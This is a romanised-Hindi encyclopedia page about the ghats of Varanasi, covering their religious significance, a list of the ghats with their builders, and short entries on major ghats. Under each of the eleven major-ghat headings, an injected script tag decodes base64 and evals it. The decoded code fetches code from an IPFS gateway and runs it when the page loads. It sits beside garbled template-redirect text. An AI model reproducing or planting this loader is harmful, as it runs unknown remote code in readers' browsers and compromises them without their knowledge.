वाराणसी के घाट

varanasi vishay soochi

parichay    itihas    bhoogol    arthavyavastha    shiksha    sanskriti    dharmik sthal    paryatan    chitravali    vistrit alekh

[[chitr:Ghat-Varanasi-3.jpg|thumb|250px|varanasi mean ganga nadi ke ghat]] varanasi (kashi) mean ganga tat par anek suandar ghat bane haian, ye sabhi ghat kisi n kisi pauranik ya dharmik katha se sanbandhit haian. varanasi ke ghat ganga nadi ke dhanush ki akriti hone ke karan manohari lagate haian. sabhi ghatoan ke poorvarbhimukh hone se sooryoday ke samay ghatoan par soory ki pahali kiran dastak deti hai. uttar disha mean rajaghat se prarambh hokar dakshin mean asi ghat tak sau se adhik ghat haian. manikarnika ghat par chita ki agni kabhi shaant nahian hoti, kyoanki banaras ke bahar marane valoan ki antyeshti puny prapti ke liye yahian ki jati hai. kee hindoo manate haian ki varanasi mean marane valoan ko moksh prapt hota hai.

ghatoan ki mahima

shiv nagari kashi ke ganga ghatoan ki mahima nyari hai, prachin nagar kashi poore vishv mean sabase pavitr shahar hai, dharm evan sanskriti ka kendr bindu hai. asi se adikeshav tak ghat shrriankhala mean har ghat ke alag thath haian, kahian shiv ganga mean samaye huye haian to kisi ghat ki sidhiyaan shastriy vidhan mean nirmit haian, koee mandir vishisht sthapaty shaili mean hai to kisi ghat ki pahachan vahaan sthit mahaloan se hai, kisi ghat par masjid hai to kee ghat mauj-masti ka kendr haian. ye ghat kashi ke amooly ratn haian, jinhean kisi jauhari ki avashyakata nahian. ganga keval kashi mean hi uttaravahini haian tatha shiv ke trishool par base kashi ke lagabhag sabhi ghatoan par shiv svayan virajaman haian. vibhinn shubh avasaroan par gangapooja ke lie in ghatoan ko hi sakshi banaya jata hai. vibhinn vikhyat sant mahatmaoan ne inhian ghatoan par ashray liya jinamean tulasidas, ramanand, ravidas, tailang svami, kumarasvami pramukh haian. vibhinn rajaoan-maharajaoan ne inhian ganga ghatoan par apane mahaloan ka nirman karaya evan nivas kiya. in ghatoan par sampoorn bharatiy sanskriti ka samanvay jivant roop mean vidyaman hai. ghatoan ne kashi ki ek alag chhavi ko jagajahir kiya hai; yahaan hone vale dharmik saanskritik karyakramoan mean ganga arati, ganga mahotsav, devadipavali, nag nathaiya (krishna lila), budhava mangal vishvavikhyat hai. kashi vasiyoan ke liye ganga ke ghat dharmik-adhyatmik mahatv ke sath hi paryatan, mauj-masti ke drishti se bhi bahut mahatvapoorn haian. ghat par snan ke pashchath bhaang-booti ke masti mean doobe sadhu-sannyasiyoan evan yahaan ke nivasiyoan ne banarasi-masti ke adbhut chhavi ka nirman kiya hai, jisake alag aandaz ko sampoorn vishv dekhana, samajhana evan jina chahata hai.

chaurasi (84) ghat

varanasi mean lagabhag 84 ghat haian. ye ghat lagabhag 4 mil lamh‍be tat par bane hue haian. in 84 ghatoan mean paanch ghat bahut hi pavitr mane jate haian. inh‍hean samoohik roop se 'panchatirth' kaha jata hai. ye haian asi ghat, dashashvamedh ghat, adikeshav ghat, panchaganga ghat tatha manikarnika ghat. asi ghat sabase dakshin mean sthit hai jabaki adikeshav ghat sabase uttar mean sthit haian. har ghat ki apani alag-alag kahani hai. varanasi ke kee ghat maratha samrajy ke adhinasth kal mean banavaye ge the. varanasi ke sanrakshakoan mean maratha, shiande (siandhiya), holkar, bhoansale aur peshava parivar rahe haian. varanasi mean adhikatar ghat snan-ghat haian, kuchh ghat antyeshti ghat haian. mahanirvani ghat mean mahath‍ma buddh ne sh‍nan kiya tha. kuchh ghat jaise manikarnika ghat kisi katha adi se ju de hue haian, jabaki kuchh ghat niji svamitv ke bhi haian poorv kashi naresh ka shivala ghat aur kali ghat niji sanpada haian. varanasi mean asi ghat se lekar varuna ghat tak sabhi ki kramavar soochi nimn hai:-

varanasi ke ghat

ghat ka nam nirmata navala ghat nagar nigam asi ghat maharaja, banaras lala mishr ghat maharaja rivaan tulasi ghat mahant svaminath bhadaini ghat nagar nigam janaki ghat asharphi sianh akroor ghat ray shiv prasad mata anandamayi ghat lala bachchharaj bachchharaj ghat baboo shekhar chand jain ghat nagar nigam nishad raj ghat nagar nigam prabhughat nirmal kumar shivala ghat pan. baijanath mishr chetasianh ghat panchakot ke raja niranjani ghat panchakot ke raja dandi ghat lalloo ji agraval gulariya ghat lalloo ji agraval hanuman ghat mahant harihar ji maisoor ghat maisoor rajy harishchand nagar nigam lalli ghat maharaja banaras vijayanagaram ghat maharaja vijayanagaram kedar ghat kumar svami chauki ghat nagar nigam narava ghat nagar nigam someshvar ghat kumar svami manasarovar ghat nagar nigam raja ghat madhorav peshava narad ghat dattatrey svami

ghat ka nam nirmata khori ghat kavindr narayan sianh gangamahal ghat mathura paande paande ghat babua paande dhobiya ghat kumar svami digpatiya ghat digpatiya stet (bangal) chausatthi ghat udayapur ke raja rana ghat udayapur ke raja muanshi ghat shridhar muanshi darabhanga ghat maharaja, darabhanga ahilyabaee ghat maharaja, iandaur shitala ghat nagar nigam dashashvamedh ghat nagar nigam prayag ghat rani hemand kumari devi gho da ghat nagar nigam rajeandr prasad ghat nagar nigam man mandir ghat maharaja, jayapur tripura bhairavi ghat maharaja, banaras mir ghat mir rustam ali phoota ghat svami, maheshvaranand nepali ghat nanahi baboo lalita ghat nepal naresh amarohagiri bavali (ghat) baboo keshav das jalasaee ghat nagar nigam khiraki ghat maharaja, iandaur manikarnika ghat maharaja, iandaur bajirav ghat maharaja, iandaur siandhianya ghat maharaja, gvaliyar sankata ghat maharaj b dauda

ghat ka nam nirmata sankata ghat, gangamahal maharaja gvaliyar bhoansala ghat maharaja nagapur naya ghat nagar nigam ganesh ghat madhorav peshava agnishvar ghat madhorav peshava mehata ghat madhorav peshava ramaghat madhorav peshava babhaji ya mangalagauri ghat madhorav peshava panchaganga ghat nagar nigam benimadhav ghat nagar nigam durgaghat narayan dikshit brahmaghat narayan dikshit shitala ghat maharaja, booandi lal ghat nagar nigam gayaghat nagar nigam balabaee ghat nagar nigam trilochan ghat narayan dikshit gola ghat nagar nigam nandoo ghat nagar nigam pakka ghat nagar nigam teliyanala ghat nagar nigam naya ghat nagar nigam prahlad ghat nagar nigam rajaghat nagar nigam varuna sangam ghat nagar nigam

pramukh ghat

varanasi mean kuchh prasiddh ghat haian. inamean kuchh ghatoan ka dharmik v adhyatmik mahattv hai aur kuchh ghat apani prachinata to kuchh aitihasikata v kuchh kala ke lihaz se khasiyat rakhate haian.

asighat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• asighat varanasi ke dakshini chhor par ganga v asi nadi ke sangam par sthit hai.
• yah ghat shraddhaluoan ki astha v akarshan ka pramukh kendr hai.
• yahian par bhagavan jagannath ka prasiddh mandir hai.

tulasi ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• tulasighat prasiddh kavi tulasidas se sanbandhit hai.
• yahaan gosvami tulasi das ne shriramacharit manas ke kee aanshoan ki rachana ki thi.
• kaha jata hai ki tulasidas ne apana akhiri samay yahian vh‍yatit kiya tha.
• is ghat ka nam pahale 'lolark ghat' tha.

harishchandr ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• harishh‍chandr ghat ka sanbandh raja harishchandr se hai.
• satyapriy raja harishchandr ke nam par yah ghat varanasi ke prachinatam ghatoan mean ek hai.
• is ghat par hindoo maranoparaant dah sanskar karate haian.

kedar ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• kedar ghat ka nam kedareshvar mahadev mandir ke nam par p da hai.
• is ghat ke samip mean hi svami karapatri ashram v gauri kuand sthit hai.

dashashvamedh ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• yah ghat godauliya se ganga jane vale marg ke aantim chhor par p data hai.
• prachin grantho ke mutabik raja divodas dvara yahaan das ashvamedh yajn karane ke karan isaka nam 'dashashvamedh ghat' p da.
• ek any mat ke anusar nagavanshiy raja virasen ne chakravarti banane ki akaanksha mean is sthan par das bar ashvamedh karaya tha.

rajendr ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• rajendr prasad ghat dashashvamedh ghat ke bagal mean hai.
• yah ghat desh ke pratham rashtrapati d aau. rajendr prasad ki smriti mean banaya gaya hai.

manikarnika ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• pauranik manyataoan se ju de manikarnika ghat ka dharmapran janata mean maranoparaant aantim sanskar ke lihaz se atyadhik mahattv hai.
• is ghat ki ganana kashi ke panchatirtho mean ki jati hai.
• manikarnika ghat par sthit bhavanoan ka nirman peshava bajirav tatha ahilyabaee holkar ne karavaya tha.

chet sianh ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Chet-Singh-Ghat-Varanasi.jpg|thumb|250px|chet sianh ghat, varanasi]]

• chet sianh ghat ek qile ki tarah lagata hai.
• chet sianh banaras ke ek sahasi raja the jinh‍hoanne 1781 ee. mean v aauren hestiangas ki sena ke khilaf l daee l di thi.

panchaganga ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• pauranik manyataoan ke anusar panchaganga ghat se ganga, yamuna, sarasvati, kiran v dhootapapa nadiyaan gupt roop se milati haian.
• isi ghat ki sidhi़yoan par guru ramanand se sant kabiradas ne diksha li thi.

rajaghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• rajaghat kashi relave steshan se sate malaviy setu (dapharin pul) ke pa‌rshv mean sthit hai.
• yahaan sant ravidas ka bhavy mandir bhi hai.

adikeshav ghat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• adikeshav ghat varuna v ganga ke sangam par sthit hai.
• yahaan sangameshvar v brahmeshvar mandir darshaniy haian.
• isake alava gayaghat, lalaghat, siandhiya ghat adi kashi ke sauandary ko udbhashit karate haian.

varanasi ke ghat ki chitr vithika

• chitr:Ganga-River-Varanasi-2.jpg
• chitr:View-Of-Varanasi.jpg
• chitr:Ganga-Varanasi.jpg
• chitr:Ganga-River-Varanasi.jpg
• chitr:Ghat-Varanasi.jpg
• chitr:Ganga-River-Varanasi-5.jpg
• chitr:Ghat-Varanasi-2.jpg
• chitr:Ghat-Varsanasi-4.jpg

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh